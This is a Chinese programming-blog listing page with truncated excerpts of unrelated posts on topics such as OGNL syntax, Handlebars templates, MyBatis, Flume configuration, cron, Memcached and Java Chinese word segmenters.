    OGNL表达式的基本语法和基本用法一．OGNL中的#、%和$符号#、%和$符号在OGNL表达式中经常出现，而这三种符号也是开发者不容易掌握和理解的部分。在这里我们简单介绍它们的相应用途。1．#符号的三种用法1）访问非根对象属性，例如示例中的#session.msg表达式，由于Struts2中值栈被视为根对象，所以访问其他非根对象时，需要加#前缀。实际上，#相当于ActionContext.getC
  • Template Engine-06-模板引擎 Handlebars 入门介绍 老马啸西风 tools测试用例开发语言java
    拓展阅读java表达式引擎logstash日志加工处理-08-表达式执行引擎AviatorScript+MVEL+OGNL+SpEL+JEXL+JUEL+JaninoQLExpress阿里表达式引擎系统学习什么是Handlebars？Handlebars是一种简单的模板语言。它使用模板和输入对象生成HTML或其他文本格式。Handlebars模板看起来像带有嵌入的Handlebars表达式的常规文
  • 用MiddleGenIDE工具生成hibernate的POJO（根据数据表生成POJO类） AdyZhang POJOeclipseHibernateMiddleGenIDE
    推荐:MiddlegenIDE插件,   是一个Eclipse   插件.     用它可以直接连接到数据库,   根据表按照一定的HIBERNATE规则作出BEAN和对应的XML ，用完后你可以手动删除它加载的JAR包和XML文件!     今天开始试着使用
  • .9.png Cb123456 android
      “点九”是andriod平台的应用软件开发里的一种特殊的图片形式，文件扩展名为：.9.png 　　智能手机中有自动横屏的功能,同一幅界面会在随着手机(或平板电脑)中的方向传感器的参数不同而改变显示的方向,在界面改变方向后,界面上的图形会因为长宽的变化而产生拉伸,造成图形的失真变形。 　　我们都知道android平台有多种不同的分辨率，很多控件的切图文件在被放大拉伸后，边
  • 算法的效率 天子之骄 算法效率复杂度最坏情况运行时间大O阶平均情况运行时间
    算法的效率 效率是速度和空间消耗的度量。集中考虑程序的速度，也称运行时间或执行时间，用复杂度的阶(O)这一标准来衡量。空间的消耗或需求也可以用大O表示，而且它总是小于或等于时间需求。   以下是我的学习笔记：   1.求值与霍纳法则，即为秦九韶公式。   2.测定运行时间的最可靠方法是计数对运行时间有贡献的基本操作的执行次数。运行时间与这个计数成正比。
  • java数据结构 何必如此 java数据结构
    Java 数据结构 Java工具包提供了强大的数据结构。在Java中的数据结构主要包括以下几种接口和类： 枚举（Enumeration） 位集合（BitSet） 向量（Vector） 栈（Stack） 字典（Dictionary） 哈希表（Hashtable） 属性（Properties） 以上这些类是传统遗留的，在Java2中引入了一种新的框架-集合框架(Collect
  • MybatisHelloWorld 3213213333332132
    //测试入口TestMyBatis package com.base.helloworld.test; import java.io.IOException; import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSession; import org.apache.ibat
  • Java|urlrewrite|URL重写|多个参数 7454103 javaxmlWeb工作
     个人工作经验！ 如有不当之处，敬请指点 1.0  web -info 目录下建立     urlrewrite.xml  文件 类似如下： <?xml version="1.0" encoding="UTF-8" ?>   <!DOCTYPE u
  • 达梦数据库+ibatis darkranger sqlmysqlibatisSQL Server
    --插入数据方面 如果您需要数据库自增... 那么在插入的时候不需要指定自增列. 如果想自己指定ID列的值, 那么要设置 set identity_insert  数据库名.模式名.表名; ----然后插入数据; example: create table zhabei.test( id bigint identity(1,1) primary key, nam
  • XML 解析 四种方式 aijuans android
    XML现在已经成为一种通用的数据交换格式,平台的无关性使得很多场合都需要用到XML。本文将详细介绍用Java解析XML的四种方法。 XML现在已经成为一种通用的数据交换格式,它的平台无关性,语言无关性,系统无关性,给数据集成与交互带来了极大的方便。对于XML本身的语法知识与技术细节,需要阅读相关的技术文献,这里面包括的内容有DOM(Document Object
  • spring中配置文件占位符的使用 avords
    1.类 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.o
  • 前端工程化-公共模块的依赖和常用的工作流 bee1314 webpack
    题记： 一个人的项目，还有工程化的问题嘛？   我们在推进模块化和组件化的过程中，肯定会不断的沉淀出我们项目的模块和组件。对于这些沉淀出的模块和组件怎么管理？另外怎么依赖也是个问题？ 你真的想这样嘛？   var BreadCrumb = require(‘../../../../uikit/breadcrumb’); //真心ugly。  
  • 上司说「看你每天准时下班就知道你工作量不饱和」，该如何回应？ bijian1013 项目管理沟通IT职业规划
    问题：上司说「看你每天准时下班就知道你工作量不饱和」，如何回应         正常下班时间6点，只要是6点半前下班的，上司都认为没有加班。   Eno-Bea回答，注重感受，不一定是别人的         虽然我不知道你具体从事什么工作与职业，但是我大概猜测，你是从事一项不太容易出现阶段性成果的工作
  • TortoiseSVN，过滤文件 征客丶 SVN
    环境： TortoiseSVN 1.8 配置： 在文件夹空白处右键 选择  TortoiseSVN -> Settings 在 Global ignote pattern 中添加要过滤的文件： 多类型用英文空格分开 *name ： 过滤所有名称为 name 的文件或文件夹 *.name ： 过滤所有后缀为 name 的文件或文件夹 --------
  • 【Flume二】HDFS sink细说 bit1129 Flume
    1. Flume配置   a1.sources=r1 a1.channels=c1 a1.sinks=k1 ###Flume负责启动44444端口 a1.sources.r1.type=avro a1.sources.r1.bind=0.0.0.0 a1.sources.r1.port=44444 a1.sources.r1.chan
  • The Eight Myths of Erlang Performance bookjovi erlang
    erlang有一篇guide很有意思： http://www.erlang.org/doc/efficiency_guide 里面有个The Eight Myths of Erlang Performance： http://www.erlang.org/doc/efficiency_guide/myths.html   Myth: Funs are sl
  • java多线程网络传输文件(非同步)-2008-08-17 ljy325 java多线程socket
    利用 Socket 套接字进行面向连接通信的编程。客户端读取本地文件并发送；服务器接收文件并保存到本地文件系统中。 使用说明:请将TransferClient, TransferServer, TempFile三个类编译，他们的类包是FileServer. 客户端: 修改TransferClient: serPort, serIP, filePath, blockNum,的值来符合您机器的系
  • 读《研磨设计模式》-代码笔记-模板方法模式 bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet;
  • 配置心得 chenyu19891124 配置
    时间就这样不知不觉的走过了一个春夏秋冬，转眼间来公司已经一年了，感觉时间过的很快，时间老人总是这样不停走，从来没停歇过。 作为一名新手的配置管理员，刚开始真的是对配置管理是一点不懂，就只听说咱们公司配置主要是负责升级，而具体该怎么做却一点都不了解。经过老员工的一点点讲解，慢慢的对配置有了初步了解，对自己所在的岗位也慢慢的了解。 做了一年的配置管理给自总结下： 1.改变 从一个以前对配置毫无
  • 对“带条件选择的并行汇聚路由问题”的再思考 comsci 算法工作软件测试嵌入式领域模型
    2008年上半年，我在设计并开发基于”JWFD流程系统“的商业化改进型引擎的时候，由于采用了新的嵌入式公式模块而导致出现“带条件选择的并行汇聚路由问题”(请参考2009-02-27博文)，当时对这个问题的解决办法是采用基于拓扑结构的处理思想，对汇聚点的实际前驱分支节点通过算法预测出来，然后进行处理，简单的说就是找到造成这个汇聚模型的分支起点，对这个起始分支节点实际走的路径数进行计算，然后把这个实际
  • Oracle 10g 的clusterware 32位 下载地址 daizj oracle
    Oracle 10g 的clusterware 32位 下载地址 http://pan.baidu.com/share/link?shareid=531580&uk=421021908 http://pan.baidu.com/share/link?shareid=137223&uk=321552738 http://pan.baidu.com/share/l
  • 非常好的介绍：Linux定时执行工具cron dongwei_6688 linux
    Linux经过十多年的发展，很多用户都很了解Linux了，这里介绍一下Linux下cron的理解，和大家讨论讨论。cron是一个Linux 定时执行工具，可以在无需人工干预的情况下运行作业，本文档不讲cron实现原理，主要讲一下Linux定时执行工具cron的具体使用及简单介绍。 新增调度任务推荐使用crontab -e命令添加自定义的任务（编辑的是/var/spool/cron下对应用户的cr
  • Yii assets目录生成及修改 dcj3sjt126com yii
    assets的作用是方便模块化，插件化的，一般来说出于安全原因不允许通过url访问protected下面的文件，但是我们又希望将module单独出来，所以需要使用发布，即将一个目录下的文件复制一份到assets下面方便通过url访问。 assets设置对应的方法位置 \framework\web\CAssetManager.php   assets配置方法 在m
  • mac工作软件推荐 dcj3sjt126com mac
    mac上的Terminal + bash ＋ screen组合现在已经非常好用了，但是还是经不起iterm＋zsh＋tmux的冲击。在同事的强烈推荐下，趁着升级mac系统的机会，顺便也切换到iterm＋zsh＋tmux的环境下了。 我为什么要要iterm2 切换过来也是脑袋一热的冲动，我也调查过一些资料，看了下iterm的一些优点： * 兼容性好，远程服务器 vi 什么的低版本能很好兼
  • Memcached(三)、封装Memcached和Ehcache frank1234 memcachedehcachespring ioc
    本文对Ehcache和Memcached进行了简单的封装，这样对于客户端程序无需了解ehcache和memcached的差异，仅需要配置缓存的Provider类就可以在二者之间进行切换，Provider实现类通过Spring IoC注入。 cache.xml <?xml version="1.0" encoding="UTF-8"?>
  • Remove Duplicates from Sorted List II hcx2013 remove
    Given a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct numbers from the original list. For example,Given 1->2->3->3->4->4->5,
  • Spring4新特性——注解、脚本、任务、MVC等其他特性改进 jinnianshilongnian spring4
    Spring4新特性——泛型限定式依赖注入 Spring4新特性——核心容器的其他改进 Spring4新特性——Web开发的增强 Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC  Spring4新特性——Groovy Bean定义DSL Spring4新特性——更好的Java泛型操作API  Spring4新
  • MySQL安装文档 liyong0802 mysql
      工作中用到的MySQL可能安装在两种操作系统中，即Windows系统和Linux系统。以Linux系统中情况居多。   安装在Windows系统时与其它Windows应用程序相同按照安装向导一直下一步就即，这里就不具体介绍，本文档只介绍Linux系统下MySQL的安装步骤。   Linux系统下安装MySQL分为三种：RPM包安装、二进制包安装和源码包安装。二
  • 使用VS2010构建HotSpot工程 p2p2500 HotSpotOpenJDKVS2010
    1. 下载OpenJDK7的源码：      http://download.java.net/openjdk/jdk7      http://download.java.net/openjdk/      2. 环境配置     ▶
  • Oracle实用功能之分组后列合并 seandeng888 oracle分组实用功能合并
    1       实例解析 由于业务需求需要对表中的数据进行分组后进行合并的处理，鉴于Oracle10g没有现成的函数实现该功能，且该功能如若用JAVA代码实现会比较复杂，因此，特将SQL语言的实现方式分享出来，希望对大家有所帮助。如下： 表test 数据如下： ID,SUBJECTCODE,DIMCODE,VALUE 1&nbs
  • Java定时任务注解方式实现 tuoni javaspringjvmxmljni
    Spring 注解的定时任务，有如下两种方式： 第一种： <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="http
  • 11大Java开源中文分词器的使用方法和分词效果对比 yangshangchuan word分词器ansj分词器Stanford分词器FudanNLP分词器HanLP分词器
    本文的目标有两个： 1、学会使用11大Java开源中文分词器 2、对比分析11大Java开源中文分词器的分词效果 本文给出了11大Java开源中文分词的使用方法以及分词结果对比代码，至于效果哪个好，那要用的人结合自己的应用场景自己来判断。 11大Java开源中文分词器，不同的分词器有不同的用法，定义的接口也不一样，我们先定义一个统一的接口： /** * 获取文本的所有分词结果, 对比
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他